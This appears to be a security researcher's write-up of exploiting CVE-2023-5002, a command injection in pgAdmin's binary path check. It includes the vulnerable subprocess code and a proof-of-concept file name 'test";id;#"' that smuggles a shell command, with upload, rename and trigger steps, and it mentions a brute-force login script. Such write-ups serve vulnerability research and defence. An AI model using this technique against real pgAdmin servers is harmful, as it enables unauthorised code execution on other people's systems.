PgAdmin CVE-2023-5002 exploitation

CVE-2023-5002

Description

This vulnerability is a continuation of vulnerability CVE-2022-4223 (there is a good article about this vulnerability).

A security researcher found the vulnerability and created a pull request with a fix and example of command injection:

 >>> subprocess.getoutput(r'echo "{0}"'.format("Hello $(whoami)").replace('"', '""'))
Hello gronke

The problem is that pgadmin allows you to check the existence of utilities by passing the path to them:

in this case, validation is carried out only for the existence of such a path:

...
    # if path doesn't exist raise exception
    if not os.path.exists(binary_path):
        current_app.logger.warning('Invalid binary path.')
        raise Exception()
    # Get the output of the '--version' command
    version_string = \
        subprocess.getoutput('"{0}" --version'.format(full_path))
...

For such a check to pass, the file must exist in the system. Fortunately, pgadmin has a storage manager that allows you to upload any files.

Proof of Concept

We have everything to exploit the vulnerability.

We should start by preparing a file that needs to be uploaded to pgadmin. Since command execution occurs when the file name puts in subprocess.getoutput, the file must simultaneously be a valid path and command.

$ touch 'test";id;#"'
$ python3
>>> import os, subprocess
>>> os.path.exists('test";id;#"')
True
>>> subprocess.getoutput('"{0}" --version'.format('test";id;#"'))
uid=1000(user) gid=1000(user) groups=1000(user)

After preparing the file, we need to upload it tools -> storage manager -> upload:

Our file loaded, but the double quotes were removed:

We also need to rename the file to return double quotes instead of url encoded chars:

By default, pgadmin saves all downloaded files in /var/lib/pgadmin/storage/user@domain.com but with the @ character replaced by _.

You can find the exact path in the settings (they can be read by an authorized user via the API):

...
STORAGE_DIR = "/var/lib/pgadmin/storage"
...

And finally run our file for execution file -> preference -> binary path used full path to our file /var/lib/pgadmin/storage/user_domain/test";id;#":

Bonus parts

CVE-2024-2044

Just a week ago (from the moment of writing this article) an issue was created in pgadmin with a new RCE (backup link).

Brute-force login

As a bonus to vulnerability, get a script for brute force login in PgAdmin as a gift.